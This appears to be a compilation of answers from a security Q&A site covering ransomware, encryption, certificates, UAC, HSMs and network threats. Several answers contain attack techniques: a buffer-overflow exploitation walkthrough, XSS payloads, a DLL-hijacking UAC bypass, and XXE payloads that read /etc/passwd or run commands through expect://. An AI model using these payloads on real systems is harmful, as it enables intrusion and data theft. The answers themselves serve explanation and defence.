As to whether its a bug or a feature, the f-secure link I've posted at the bottom has a nice analysis suggesting that the malware, which has a very sophisticated network propagation component, and less sophisticated MBR and user mode component (this does the encryption/decryption of files, and apparenytly does work properly), suffered a suddenly reduced deadline after WannaCry flung EternalBlue to headline news, reducing the attackers' potential options for spreading around a network.

I'm not sure if we can be sure, but I'd put it down to the 'vaccine' being a bug, rather than an intended feature. F-secure did some very nice write ups about Petya on their 'From the Labs' blog, most of which can be found from the one I linked below, I'd link a few more but I don't have the reputation.

Sources:

https://www.theregister.co.uk/2017/06/28/petya_notpetya_ransomware/

https://labsblog.f-secure.com/2017/06/30/eternal-petya-from-a-developers-perspective/


Can SIM card be locked to the specific equipment?

Store the IMEI of the equipment in the SIM card applet.
On start of the mobile equipment, just check if the IMEI of the equipment is the same as that of the one stored in the SIM card applet. By comparing both, you can take a decision to update a memory byte in SIM card, which will eventually make it disable for the operation. Refer ETSI 11.14 Standard.


Should I worry about this UAC bypass exploit for Windows 7?

I will provide you the technical details of the exploit you are talking about and then let you decide yourself whether you should worry or not.

The bypassUAC exploit exploits a bug (or rather a feature) of Windows operating systems where processes signed by the Microsoft code signing certificate don't prompt the user when it escalates its privileges to SYSTEM. This is known is privilege elevation in the Microsoft text. The issue was first identified by Leo Davidson back in 2009. If you look at the targets of this exploit, you will find that Windows 7 is vulnerable even though Windows Vista which came before Windows 7 is not vulnerable. The reason for this is because Microsoft deliberately downplayed the security of Windows 7 in order to provider a better user experience. Any Vista user is going to tell you the unlimited number of UAC prompts every time they performed a task. To minimize those prompts, Microsoft decided that all those applications that Microsoft signs with its code signing certificate should be trusted for auto elevation of privileges and so this vulnerability was born.

The way this vulnerability is exploited is that there is an exe file in C:\Windows\System32\sysprep\ directory called sysprep.exe which loads a DLL file CRYPTOBASE.DLL. Since the sysprep.exe don't load this DLL using its full path, you can put a malicious DLL with the name CRYPTOBASE.DLL in C:\Windows\System32\sysprep directory and the sysprep.exe will load the malicious DLL file when executed. This technique is known as DLL hijacking. Suppose the malicious DLL starts notepad.exe which is signed by Microsoft code signing certificate, inject another DLL in it such as metsrv.dll which is the Meterpreter dll file and then request for privilege elevation, the process will silently gets SYSTEM privileges without any UAC prompt because that is how it is designed in the default state on Windows 7. This vulnerability also exist in Windows 8 (although not with the sysprep.exe executable).

Now if you are concerned about this attack vector there are a few steps you can take to make sure bypass UAC don't work. The first thing you can do is not to use Administrator user. This will protect you because injecting a malicious DLL (or any other code) in another process require to have debug privilege on that process. Administrators can have debug privilege to any process that is why bypass UAC require Administrator privileges. Also, there are four UAC protection levels in the graphical console of the UAC in control panel. If you set the protection to Always Notify, no process can silently elevate its privileges. You will always get a UAC prompt just like in Vista and bypass UAC exploit will fail (unless you click Allow).

Now you decide whether you should worry about this vulnerability or not. In most of the cases, if the malicious user has gained code execution with Administrator privileges, its already game over for you. Elevating it so SYSTEM is just a symbolic game nowadays.


Can I somehow require a specific certificate for a domain?

Could you not buy a domain name, CNAME that to point to your DynDNS. Therefore you use the domain name you just bought, then buy/letsencrypt a SSL certificate for the new domain and use that. (IF you already have a domain name even better just setup a CNAME with that one, personally I would avoid any applications connecting to the DynDNS name as this give you greater flexability in the future should you choose a different dynamic DNS provider, or even get a static IP)

A DV certificate is absolutely fine for this scenario. The other certificates, such as EV, authenticate the company and provide no real advantage in your situation. If you are altra-paranoid about spoofing your domain name then you can always check the public key of the certificate is as expected each time to attempt to connect.

There is also the CAA (Certificate Authority Authorisation) you could apply (Being very new is not widely used, and not in effect technically yet) but worth a read: https://en.wikipedia.org/wiki/DNS_Certification_Authority_Authorization


According to the Wikipedia article for Blind Signatures:

  Blind signatures can also be used to provide unlinkability, which prevents the signer from linking the blinded message it signs to a later un-blinded version that it may be called upon to verify.

The principle of unlinkability exists (among other reasons) to protect the anonymity of the message's author. Imagine that 4 people each give a blinded message to the signer, which the signer provides signatures for. At some later date one of the messages is revealed. The signature should prove that A) the message is un-altered (integrity), and B) it is one of the original 4 messages (authenticity), but it should not be able to tell which of the original 4 it is (anonymity).

If you used "signing a hash" as a form of Blind Signature, then the signer (or an attacker recording their network traffic) could remember which hash came from which person, and then once the full message is revealed, you can compute its hash, compare it to the hashes that were submitted, and know which author wrote it, thus de-anonymizing the author.

Some applications or use-cases may not care about unlinkability, in which case signing a hash is a fine way to do a Blind Signature. But if you do, then this scheme is no good. For example, Blind Signatures are commonly used in election systems in which the inability to trace a revealed ballot back to the person who cast it is a requirement of the system.


Security of LastPass together with YubiKey

The answer everyone hates: it depends on your threat model and risk appetite.

What passwords are you protecting in Lastpass?
Are you storing the whole password in there or a unique value to which you add a passphrase?
Who are you concerned would want your passwords? Opportunistic attackers or targeted governments / organized crime?
How strong is your master password?

Software vulnerabilities can exist. Lastpass has had a XSS vulnerability and a suspected intrusion recently. So yes all software can have vulnerabilities.

Yubikey as @this.josh states could also be vulnerable. After all if RSA got hacked and the attackers were able to use this to get into military contractors then no two factor mechanism is invulnerable.

Refer a sample attack tree for defeating two factor:

Here is a broader set [PDF]: http://www.redforcelabs.com/Documents/AnalyzingInternetSecurity.pdf

The question is are the risks acceptable to you?

Using a password manager is better than not using one and is a simple, cheap solution to improve the security of virtually any application/service you need a password for.

Using Yubikey and a strong master password greatly improves the security of whatever you store in Lastpass. The whole point of two factor is that even if one factor is compromised they still require the other. If you or the service discovers the compromise this gives you time at a minimum.

Do a quick threat model, understand your risk appetite. No system will be invulnerable but you may find the advantages to using Lastpass + Yubikey outweighs the risks for you.


What's the best place to hide long lived encryption keys

Well if you're really really really serious about the security of your keys then there's only one answer.

HSM

Encrypt your data at rest using a symmetric algorithm and encrypt the keys used for the symmetric algorithm using asymmetric keys, the private key for which is stored in the HSM.

HSMs are carefully and purposefully designed so that once on them, keys cannot be exported from them.  You send a command to the HSM asking it to "do something" with your key (e.g. encrypt, sign, decrypt), but the key never, ever leaves the HSM in any readable format whether printed on console or exported to a file.

If you can't justify the cost of an HSM because your data is not valuable enough or you simply can't get the budget, then the "next best" option is probably going to be a hosted "cloud HSM".

Sure there are risks involved with a third-party hosting your HSM, but those risks are probably lower than you trying to be clever (and failing at)  obfuscating your keys and trying to "hide" them yourself just because you don't want to pay for your own HSM.


In your interpretation of the message, you're performing a step that a computer wouldn't: you're assuming the output of the base64 decoding process is ASCII-encoded hexadecimal and converting it to binary before performing the disassembly process.  The first few bytes of the message are (note: there's a newline before the 5

571266161278423

with hex values

0a 35 37 31 32 36 36 31 36 31 32 37 38 34 32 33

which disassemble to

0000: or    dh,(di)
0002: aaa
0003: xor   (bp:si),si
0005: seg   ss
0006: seg   ss
0007: xor   $3231,si
000b: aaa
000c: cmp   (si),dh
000e: xor   dh,(bp:di)

which is utter nonsense.  There may be a hidden meaning in the message, but it isn't shellcode.


How does Activesync security policy affect the usage of the iOS fingerprint scanner?

The Exchange ActiveSync Policy Engine gives administrators the option to allow biometrics. See http://technet.microsoft.com/en-us/library/dn282287.aspx for details.

In addition, it seems almost certain that using a PIN code or passphrase instead of biometrics will remain an option. It turns out that you must set at least a PIN when using TouchID. When you reboot, or have not unlocked the phone for 48 hours, the phone requires the PIN to unlock. See http://blogs.wsj.com/digits/2013/09/11/apple-new-iphone-not-storing-fingerprints-doesnt-like-sweat/


Protecting an invitation to join the system

A good solution would be to make the ID very long and impossible to bruteforce, for example providing 128bits of entropy (for example about 38 digits or 22 alphanumeric characters).
Then you also need some kind of PIN or password, because otherwise the link alone would allow an attacker to join the chat, and the link could be leaked in several ways (browser history, server logs, etc.). The PIN/password should be typed by the user in a text field on the page (not in the URL). The longer the PIN or password is, the more secure your system will be. However, long PIN/passwords are a pain to enter for users. You might be able to achieve good security even with short PINs and passwords if you implement a bruteforce detection system, for example, by monitoring failed login attempts and maybe block IPs when too many failed attempts have been made.
For even better security you might want to provide different credentials to different users, so if the password was leaked you would be able to identify the user who leaked it.


How is my school blocking new Internet traffic after midnight?

It looks like they add a rule to the firewall to deny outgoing connections. Since it is a stateful firewall, any new traffic is a new "connection". Existing traffic streams are unaffected since it is not a new "connection", but a part of the existing stream.
VPNs are a constant connection and traffic is tunnelled through that.
Example using iptables:
iptables -I OUTPUT -p tcp --dport ANY -m state --state NEW -j REJECT


Chain of causality in Equifax breach (expired certificates disabling IPS capabilities)

I suspect that the report is kind of misleading in claiming the expired certificate as the problem. A certificate can not be used to decrypt traffic at all but rather the private key matching the certificate is needed. This is at least true for the (obsolete) RSA key exchange which I assume was used here - for inspection with DH key exchange one would need instead need the pre-master secret of each TLS connection and neither certificate nor private key would be usable.

Thus the problem is likely not the expired certificate but instead that the private key installed on the device matched the public key in the expired certificate but not the one from the new certificate. This is likely because the new certificate did not reuse the key from the old certificate but instead a new key pair was created. For successful inspection the new private key matching the new public key in the new certificate had to be installed on the inspection device.


Is my data secure in locked screen if I use bitlocker

No, it's not secure.

You're vulnerable to:

Cold boot attacks (freeze memory and extract the contents, get BitLocker encryption keys and all your other sensitive data)
DMA attacks via FireWire, CardBus, ExpressCard, Thunderbolt, etc.
Installation of a physical keylogger (many laptop keyboards can be easily removed) or backdoor hardware.

In general, if an attacker has physical access to your device, you're screwed.


Hundreds of old MS Office files increased by about 10kb

This is likely SharePoint metadata, and this is very easy for you to test.

I created a Powerpoint file with content and saved on my local drive and checked the size. Then I uploaded to OneDrive and then again to SharePoint.

The OneDrive file is the same size. The SharePoint file is 5kb larger.


Is it possible to eavesdrop the wireless data transmission without being authorized to a router?

Having access to an AP doesn't mean you get to see all the data going through it. You'd have to gain admin access, then tell the AP to send all raw data to your device as well. That's a lot more complicated than it sounds. The danger of AP access is that a hacker could try to use SMB or other protocols to access your files. The network data itself is still isolated from you without either a firmware update or custom settings that many AP don't even offer to begin with. Having an unencrypted Wi-Fi connection only makes it easier to see unencrypted (e.g. HTTP/telnet) data. You still wouldn't see HTTPS/VPN data, because there's another layer of encryption.


Can connecting to a remote Windows Server infect via RDP infect my home pc?

Short answer - highly unlikely, but not impossible.

It depends on the infection vector of the virus. The virus can only spread if it is able to run code on your home pc.

If it uses a vulnerability to spread (e.g. like a worm), your home pc must expose this vulnerability to the infected system. Based on your description, you are worried, that the infection takes place specifically over the RDP protocol. In this case the RDP client on your home pc must be vulnerable. If your software is up to date, there is currently no such vulnerability known in the RDP client. You always have a residual risk of a 0-day vulnerability, but I would consider it highly unlikely that a virus is using such a 0-day and no one has identified this behavior yet.

The second infection vector is actually transferring virus code to your home pc via RDP and running it locally. This could happen for example, if you copy the malicious code and either run it yourself or it gets executed somehow by your operating system. Therefore, if you copy something malicious via clipboard sharing to your system, be careful how you treat the data you receive that way. Since you do not specify what you actually want to do over RDP (e.g. salvage some important data from the infected system), it is hard to say how risky your activities will be. If you copy data from the system, be sure you know what you are doing.

I recommend using a throw-away operating system to access the infected machine, if you really have to. Something like an isolated virtual machine that you delete afterwards or an OS that you are willing to wipe after you are done.


How to run multiple session while scanning application through Burp?

This is ultimate answer by none other than Dafydd Stuttard  when I posted this question on portswigger support forum:

  Dafydd Stuttard Jan 12, 2015 10:58AM UTC Support Center agent

  It sounds like the application is not willing to support multiple
  concurrent requests in the same session (for this particular function,
  at least).

  Burp only currently has a single cookie jar, so you can’t do a scan
  with multiple threads using different cookie jars, sorry.

  One possible solution would be to create an extension that handles
  sessions, and maintain your own separate cookie jars and use one per
  thread. Or you could run multiple instance of Burp, each running
  single threaded, and scan different parts of the application with each
  one.


No, not quite.

There are two things to focus on:

Overwriting the return address.  You need to figure out what bytes in the file will end up overwriting the return address.  Suppose these are bytes 20-23 of the file (for example).
The location of the shellcode.  You should put your shell code later in the file (say, near the end).  Then you need to predict what address your shell code will be loaded into memory at.  Suppose A is the address where the shellcode will be loaded into memory.  You need to know this address, because this is what you need to use to overwrite the return address.

Once you know both of these, you're good to go.  You store the value A into bytes 20-23 of the file, and the shell code later in the file where you decided to put it.

To work out these two things, you'll need to look at the stack layout.

First, find the offset between the location where the start of str appears on the stack and the location where return address appears.  This offset tells you what bytes in the file will end up overwriting the return address.  If this offset is, say, 20 bytes, then bytes 20-23 of the file will end up being written over the return address.  To make the attack work, 20 bytes into the file you need to put a value that is where you want the program to jump to (the address of the start of your shell code).  This value will overwrite the return address.  The value to put there is the address A mentioned above.
Second, put the shell code even later in the file, predict what address the shell code will be stored at in memory once the file is read into memory, and use that starting address as the value to overwrite the return address with.

I recommend that you read Smashing The Stack For Fun And Profit by Aleph One.  It has an excellent tutorial on learning how to do a stack-smashing buffer overrun exploit.  (Hint: on modern systems, make sure to manually disable ASLR and DEP first, so that your exploit will work.)


I would suggest John the Ripper. Get a large dictionary file and run it through John. You could even split it among multiple machines (possibly in the cloud) as the problem is very parallelizable.

John can even do variations on dictionary words like substituting 0 for o.

For more info, see this article.

If you have access to a GPU, oclHashcat looks interesting.


Nmap has the option --open, which will filter out all the other potential states. If you are scanning under Linux, you could also use grep to achieve a very similar result.

Here is what the man pages have to say about it:

  --open (Show only open (or possibly open) ports)

  Sometimes you only care about ports you can actually connect to (open
  ones), and don't want results cluttered with closed, filtered, and
  closed|filtered ports. Output customization is normally done after the
  scan using tools such as grep, awk, and Perl, but this feature was
  added due to overwhelming requests. Specify --open to only see hosts
  with at least one open, open|filtered, or unfiltered port, and only
  see ports in those states. These three states are treated just as they
  normally are, which means that open|filtered and unfiltered may be
  condensed into counts if there are an overwhelming number of them.


You code has at least one closing bracket too much. You need to properly comment out the junk at the end (with // or /*):

        endDate: moment("2017-05-02")});console.log(1234);});", "YYYY-MM-DD"),
                                                             |---------------|

But in your example, the easiest XSS payload would just be:

",console.log(1234),"

Instead of adding an extra statement, this injects console.log as an expression.

If you don't want to mess with the Javascript syntax (and angle brackets are permitted), you can also just close the script block and open a new tag, like so:

</script><svg/onload=console.log(1234)>

This works because the syntax error you're producing in the previous script doesn't block other independent scripts on the site from executing.

(Slashes can be URL-encoded as %2f and newline characters as %0a or %0d%0a, respectively.)


This is a bit odd, usually the provider staff would have their own accounts with which to make changes to customer details. How it works isn't as important as providing:

Accountability: all actions by staff accounts would be auditable (if it's implemented properly)
Protection for customer accounts: the staff would not know customer login details

Having staff log in as customers to make changes could be done securely as long as it is accountable, and that the staff would not know the customer login details. This means developing some sort of abstraction layer which would track staff actions and handle the logins. This seems to be needless complexity, if you are going to develop this you may as well simply have them use their own accounts in the first place.

If they simply want to have the staff login as customers without these protections in place then that is definitely bad in many ways. You don't need laws to flash in their faces, just customer experience - every time the client calls in they would be asked for their password by customer service, and then have to change it afterwards. Ask them if they want their customers to know that's how they do business.


Is it beneficial to run the browser from a different user account for personal devices?

Yes - beneficial, although it doesn't fix everything.

Being hacked through your browser is one of the most common ways you'll be hit. If the browser is running as a user that doesn't have access to your private files, your web cam and such, then the impact of a hack is much less.

There are still risks. If the hacker uses a local privilege escalation exploit, they can bypass the sandbox. Depending on how the sandbox is done, the hacker may get access to all you web traffic - and steal all your cookies. And this does nothing to protect you against phishing and other attacks.

In fact, this is such a good idea that many browsers do a similar thing anyway: the browser sandbox. Off the top of my head, Chrome does it on Windows and Linux, Firefox does it on Windows only. Some Linux distributions have an AppArmor profile for Firefox that achieves a similar result.

If you're keen, take a look at Qubes OS.


What is the key when the client want to get a session id in SSL

The abbreviated handshake is used in re-establishing a previously agreed secure connection, which means it will use the same keys as it used for the previous session where a full handshake was used to initiate the connection and agree on the keys and ciphers etc. See Speeding up SSL: Enabling session reuse


Explain the naming with the variety of cipher-methods as seen by `$ openssl enc --help`

There's a list of what these mean in the OpenSSL documentation.
They seem to be shown as algorithm name-key size-encryption mode. When the key size is omitted, it seems to mean that there's only one valid key size for that algorithm, so there's no point in including it.
If you're actually trying to pick an algorithm, you probably want AES (the standard) with OpenSSL's default of CBC mode (more secure than ECB).
Algorithm Names
Some of the names have numbers in them to distinguish versions. For example, RC2 and RC4 were both made by Ron Rivest, and RC4 is newer. You see similar things in hash algorithms, where MD4 was replaced by MD5 (and MD6 is in progress).
They seem to prefer "bf" for blowfish, so I'd guess that -blowfish is probably for convenience or backwards compatibility.
DESX is apparently an algorithm based on DES but with a much larger key size.
Key Sizes
The key sizes are in bits, and generally a longer key is stronger, but encrypting with it will be slower. So, AES with a 128 bit key is faster but less secure than AES with a 256 bit key.
Most algorithms seem to use powers of two for key sizes, but nothing requires them to be. DES for example uses a 56 bit key.
Encryption Mode
The encryption mode is something I don't understand well enough to explain. You just should take a look at the Wikipedia article.
The 1 or 8 at the end of some of the encryption modes specifies the number of bits used in cipher feedback.


SSO Understainding Credentials and Authentication

I think that you are mixing together authentication and authorization.  Being confused by both is very common, so let's first go through what SSO means in these terms.

The purpose of SSO is to authenticate once and then have the correct credentials to authorize yourself into several places.  This may be a single credential or several credentials.

If we use a holiday as an analogy we could say that if you purchase: a hotel room, a car and pass to the museum you may do something like a real-life SSO.  If you arrive at the hotel and the attendant, after checking your passport, gives you: your room key, your car key and your ticket to the museum; then you authorized once (to the attendant) and got three credentials that will authorize you in three different places.

Note that the attendant could as well give you a single key that would work for all three places: the room, the car, and serve as pass to the museum.  In that case you would have a single credential but it authorizes you into different places.

Finally note the tricks above: The hotel staff need to be aware of the fact that you rented the car and that you purchased the ticket to the museum.  Moreover, the car must support the same key type as the museum, and the museum must have an agreement with the hotel about the passes.

In WP and ssh (and other apps) things work the same way.  The application must be aware and configured to authorize through the credentials that a user received from authenticating through another app.

If you are using kerberos to give a ticket to a user which will make for the credntial, you can setup samba (kerberos methos = in smb.conf) and configure sshd (krb5_auth = yes).
If you want to use Shibbloleth you will need all apps that will be possible to login to with the credentials to support SAML.  As far as I'm aware sshd does not.

For other apps you need to check their configuration to what kind of an authentication they support.  Kerberos support is widespread, you will find ways of hooking into it almost everywhere (they may not be trivial though).

You need to perform the credential juggling.  For example, if your users have a browser add-on written by you on their machines you may be able to give them a kerberos ticket for the ssh client from WP.  If you have no control over their computers that is not possible (if a browser would allow to change the state of the ssh client, or vice-versa, that would be a problem).

But several apps simply do not support SSO and that's it.  If a specific museum in the city you want to make your holiday consider itself hipster and indie, and will not accept agreements with hotel chains, there's nothing you can do to get the pass to that museum at the hotel desk.


How does UNC path hardening and SMB signing work under the hood?

UNC Path Hardening comes from the JASBUG vulnerabilities (MS15-011 and MS15-014).

Microsoft suggests implementing workarounds to the SMB MITM issues easily found in the Responder.py or related tools and techniques (e.g., CORE Impacket, Potato, Tater, SmashedPotato, et al) which include but are not limited to SMB Signing. More information available via these resources:

"Extended Protection" primer and implementation guide to prevent MITM
https://digital-forensics.sans.org/blog/2012/09/18/protecting-privileged-domain-accounts-network-authentication-in-depth
http://www.snia.org/sites/default/orig/SDC2012/presentations/Revisions/DavidKruse-SMB_3_0_Because_3-2_v2_Revision.pdf

The basics: Implement protection against SMB MITM and Replay with always-on SMB signing, Extended Protection for Authentication (EPA), and forcing use of SMB 3 (or at least SMB 2.5 with proper RequireSecureNegotiate -- SMB 3 everywhere may require Win10 clients and Win Server 2012 R2 with domain and forest functional level of 2012 R2) while ensuring NBT, LLMNR, WPAD, and DNS don't create other MITM protocol scenarios.

After which, JASBUG can be patched after the UNC Hardened Path configuration is added. Note that the patch does not imply a fix, so the person who commented under the original question does not understand the JASBUG vulnerability (a common finding).


Is there any asymmetrically encrypted file system?

Short concise answer
To the best of my knowledge, such a scheme is not available in a general purpose filesystem in a general purpose operating system using full block level RSA-only non-hybrid crypto. This is because operations like RSA in software are generally slower than their symmetric counterparts and require a lot of implementation extras, which are considered unnecessary when userland applications more than suffice for this purpose. The linux kernel and other kernels are concerned with supporting a wide range of general purpose applications in user space, so any non-necessary to your average general purpose user feature doesn't generally get included. However, this is not to say you cannot do it. People have implemented web servers in kernel space. You could do this if you wanted to.
Just to cover all my bases; obviously the kernel optionally supports a lot of hardware including some which may provide hardware assisted cryptography. In this case, your life is made considerably easier.
A hybrid scheme which PGP/TLS etc implement has a weakness in that the symmetric key is by nature read-write on the encrypted data. If you can intercept this, you can read the data. This is hard to do, no doubt, but possible. In a filesystem, your life is made easier because the read/write system calls will contain that unencrypted data in their buffer, which you can intercept, if you are root.
Long winded answer
I believe you're asking why on earth given that public key cryptography allows you to technically implement this form of access control (write in, no read out) why on earth it hasn't been done. Yes, I am trying to answer why you don't do block-by-block RSA. So, in two sections:
On why RSA hasn't been included in the kernel
You might be surprised to know there isn't an implementation of RSA in your linux kernel (or probably in the Windows kernel - I'd bet that it is in userspace).
Firstly, let's look at what is in the kernel: here's the crypto folder from Linus's main tree. Not an asymmetric algorithm in sight. Remember, we're still discussing filesystems here.
Next step, how do we implement RSA. At a register level, a x64 (as in, AMD64/EM64T compatible) processor can hold exactly 64 bits per register. This is why you have types like uint32_t and uint64_t in stdint.h and why integer overflow occurs.
If you're not quite following why this is at all relevant, well, an RSA key requires that you produce a modulus of a certain bit length; 2048 is recommended I believe although factoring 1024 is going to be hard enough (search Thomas Pornin's posts for a discussion on factoring both here and on crypto). So let's say 2048 bits. You might have noticed that in a single register, there's no way we can actually store that number. So we're a little stuffed for loading it into a register and manipulating it then, aren't we?
Ok so how then do we process integers of such a size as we require for RSA. Chain lots of 64-bit blocks together is basically the answer. x86 processors support operations such as adc which is short for add with carry. What happens when you add two registers who have the most significant bit set together and will therefore overflow is that the carry flag is set and the next adc you run will have an additional 1 added to the least significant bit.
This very fact allows us to start approaching arbitrary precision arithmetic. Now, all we need is 32 64-bit blocks of memory to store one side of our multiplication and the result and a further x lots of 64-bit for the other number. That gets us to actually generating our modulus.
Let's speed this theory up a bit or we'll be here all night. Addition is basically O(N) whichever way you look at it in a bignum library. Things like multiplication and exponentiation can be reduced to O(N) if one of the operators is only a single limb (64-bit chunk; limb is the bignum term for it); however, for two arbitrary numbers operations such as multiplication and division are always worse. Monumental effort has gone into speeding that up. The best summary that I know of of algorithms and their runtimes is available here: Modern Computer Arithmetic. However, I'd say it's actually highly theoretical, algorithm-listy and that Seminumerical Algorithms by Don Knuth contains a more accessible introduction.
Now, bignum operations are fast. Not just fast, like stupidly fast. Amazingly fast. Loop-unrolled hand optimised per platform assembly fast. GNU MP is widely regarded as the fastest general purpose bignum library on the planet and is used by Mathematica, Maple, Pari/GP and everyone else who does arbitrary precision arithmetic. It turns out neither GPG or OpenSSL use this in favour of their own bignum implementations, but that's their choice.
In contrast, AES, once you expand the SBox and the key expansion, is really two things: a hash table you never add to (the SBox)(and is therefore always O(1)) and a lookup table for the key expansion (also O(1)) and some xor-ing.
So, I think it's fair to say relative to AES, RSA is pretty slow, right? It's more computationally expensive per operation.
Edit I've just woken up with another reason in my mind as to why you don't do this. See this link for this:

Linux kernel code and data are not swappable and are never moved to
swap.

So now you're forcing physical memory to always contain your bignum, RSA implementation and keys, leaving you less room for userland applications, forcing more swapping.
These are huge problems for the kernel. The kernel's job is to be as efficient as it can be. Very simple. This actually adds several other restrictions to kernel development, like having a fixed stack size and the fact that most of libc is considered excessive for kernel space. You also shouldn't use floating point operations in the kernel either. Let's be clear on what I'm saying: it is entirely technically possible to implement RSA in the kernel, but on a practical level, nobody does it because it is better off in userland, for which all these efficiency saving sacrifices are ultimately made.
RSA is also poorly suited to a block layer storage - before anyone starts, it is not obvious necessarily that this is a bad idea. Let's actually read the discussion I linked to last time. Directly quoting Thomas's answer there:

Nobody in their right frame of mind does such RSA-with-CBC encryption. Among the reasons are:

the construction has not received sufficient scrutiny to be deemed secure;
the size overhead implies that the encrypted message will be about 9.4% longer than the plaintext message;
RSA encryption is not very fast (a modern CPU would still succeed in encrypting, say, 2 MBytes worth of data per second that way).

This last reason is the most often quoted, but, in my opinion, the least compelling of the three.

I have dealt mainly with the last issue because that's the most obvious drawback, but assuming that's not a problem and you're happy with being relatively slow on a block level, then you've also got the fact that there's a large overhead per byte you want to store. Not a massively efficient use of your storage device.
I caveat all of this with if you want to do it, it is technically possible. There is nothing stopping you doing this at all. I'm only trying to actually explain why it hasn't been done.
So, that's RSA-per-block out of the way. As everyone else has got around to yelling, the alternative is to use RSA for the small amount of really valuable data - an AES or other symmetric key. This works. This is how TLS works. This is how PGP/GPG/OpenPGP and just about every other cryptographic protocol on the internet works. The idea is that you use slow RSA to encrypt the key, transmit it to the recipient (the only person who can decrypt it) and then you both have the symmetric key and can do high volume data transfer with a significantly reduced overhead, assuming correct usage of all the algorithms.
On why crypto and keys on the same OS is ok, but not perfectly safe
So, now let's talk about operating systems. Your computer is like a house with housemates in it and a live in landlord. The landlord is the kernel, the housemates are programs. Now, to achieve your system, Bob is you and wants to make sure this happens. So, he buys two safes and instructs Alice and Carroll to manufacture padlocks and also buy a safe each. He, meanwhile, invents a combination for one of his safes, sets it and puts the safe in the hallway. Now, to protect that combination, he writes it down and asks each of Alice, Carroll (and himself) to put a copy of that combination in their own safe and lock each of their own safe with their own padlock. So, to open the safe in the hallway, Alice must first open her own safe, to which only she has the key, then read the combination, lock her safe and go and open the safe in the hallway.
Eve is an evil housemate and is very angry nobody has told her what's in the safe. She can't enter anyone else's room, but she can persuade the landlord to do it, because he can go anywhere. She only needs to:

Observe the making of one of those padlocks.
Observe the code being written down for the safe in the hallway.
Observe said code being used, or whatever is in the safe.

Simple as that. The best bit from my original answer was this:

The battle for your OS is theoretically lost as soon as someone can get to root, or Administrator, simple as that

Now, by contrast, a network service works like this. Bob wants to post a message to George. So, he gets George to send him a padlock in the post. George lives with a landlord they both trust totally. So Bob sets the combination for the safe in the hallway and writes it down, puts it in his safe, puts Goerge's padlock on it and gives both to the postman. He doesn't trust the postman one bit, but he's not going to invite the postman in any time soon, just up to the door. Unless something he does on the doorstep gives him away, or unless there's a problem with the safe or the padlock, or unless the postman can persuade him to reveal anything, his message should get to George safely.
That is what I was trying to get to. Even if you use GPG, or a userland-based filesystem such as FUSE (totally possible) you must still trust the system you're making those keys and doing that encryption on. Otherwise, the best you can hope for is fairly hard to intercept.  You can use public key cryptography and symmetric cryptography together but they're not achieving what you think they are - even disk encryption as access control is worthless vs someone with physical access to your system; the only reason to use it is because it makes forensic analysis of your hard disk 6 months after you've chucked it away a lot harder.
Cryptography only works so long as the key and the data are separate. It's that simple. Which is why TLS across the internet works (because an attacker doesn't have the key) but crypto locally, where the key is going, at some point, to touch the system, doesn't. So, by all means implement an encrypted filesystem and protect the keys used to encrypt it with asymmetric keys. This is the most secure you can get with such a scheme, but:

Your requirement for write in all, read out one user will be enforced by the OS in terms of access control. There exists no current cryptography capable of doing this unless you do everything block-by-block RSA, which is slow and intensive relative to the hybrid implementation.
Nothing you can possibly do will ever be totally, 100% immune to root/Administrator/the guy who walks by your desk every day.


I'm going to take this question as to "how do you stop MitMs from intercepting temporary links" whether those links are for email confirmations or to initiate password resets, because email is considered insecure.

Well the answer is around the fact that not all Men-In-The-Middle are created equal.

It might well be the fact that the email in transport is sent unencrypted (although nowadays opportunistic encryption is utilised), however the point in its journey that is most risky for occurances Men-In-The-Middle is usually encrypted.

e.g.

server --> Local SMTP server --> User's SMTP Server --> User

The most likely scenario for a MitM to sit is between the User's SMTP Server and the User. However, these days encryption is more or less universal for this link. For example, if you get your email via Gmail or Outlook (Hotmail), you connect to your provider via HTTPS, meaning that any MitM on the unsecure coffee shop network you retrieve your email from is protected. Same with Outlook connecting to Exchange Online, as the connection is encrypted. Protection here is most critical as all it takes is one rogue user with ARP spoof in order to intercept all traffic.

A MitM placing themselves at other points in the delivery chain is much harder, therefore it is an acceptable risk for most sites to send out temporary, single-use tokens via email.


Why is it considered safe for services like Mint to store bank password?

We don't really use the concept "X is safe" in Information Security, because it is not nuanced enough. Instead, we have "X has a level of risk that Y will accept".

In order for Mint to work, they need to have your banking passwords so that they can log onto your bank and pretend that they are you. So they need to store them, and this adds risk.

(They can do all sorts of things to protect those passwords. They can use multi-layer encryption. They can have good physical security at their data centre. They can pentest themselves daily. See https://www.mint.com/how-it-works/security/security-technology/ for a list. However, hashing your credentials is one thing they can't do; they're pretending to be you, and you don't hash your banking passwords, so they can't.)

Using Mint, then, increases risk. You must work out if that increased level of risk is acceptable to you. If it is not, then you have to take action to decrease the risk, which is pretty much going to mean not using Mint.


Difference between XML external entities and Remote File Inclusion attacks

The most notorious programming language for remote file inclusion is PHP. The following is the php example code for PHP remote file inclusion vulnerability from wikipedia article "File Inlucsion Vulnerability". In this example, code from an external server is included, thus it is run by the vulnerable application. Remote file inclusion is a remote code execution class vulnerability.

<?php
   if ( isset( $_GET['language'] ) ) {
      include( $_GET['language'] . '.php' );
   }
?>

An XXE (XML External Entity) vulnerability can also be similar to the example above. The following is an example from OWASP abuses the expect scheme to execute code. This is only for PHP.

<?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [ <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "expect://id" >]>
    <creds>
       <user>&xxe;</user>
       <pass>mypass</pass>
    </creds>

The expect scheme execute the command (on OS level, rather than as PHP code). PHP has a document that explain how the expect scheme is meant to be used.

But if we remove focus from PHP, and look at web application in general, XXE can often only be abused to look at local files (or remote files the vulnerable web application have network access to). Commonly done with the following payload:

 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

Another misuse case for XXE, is that it can be used to trigger sensitive calls to internal web applications using the GET method. For instance:

 <?xml version="1.0" encoding="ISO-8859-1"?>
 <!DOCTYPE foo [
   <!ELEMENT foo ANY >
   <!ENTITY xxe SYSTEM "https://internal.hawaii.gov/api/pacom/alert" >]><foo>&xxe;</foo>

But the bottom line is that remote file inclusion and XXE is unrelated. Both might lead to remote code execution. But generally, remote file inclusion is remote code execution and XXE is abused to steal data from local files (on the server)


Infect Android device from inside the network without target knowing?

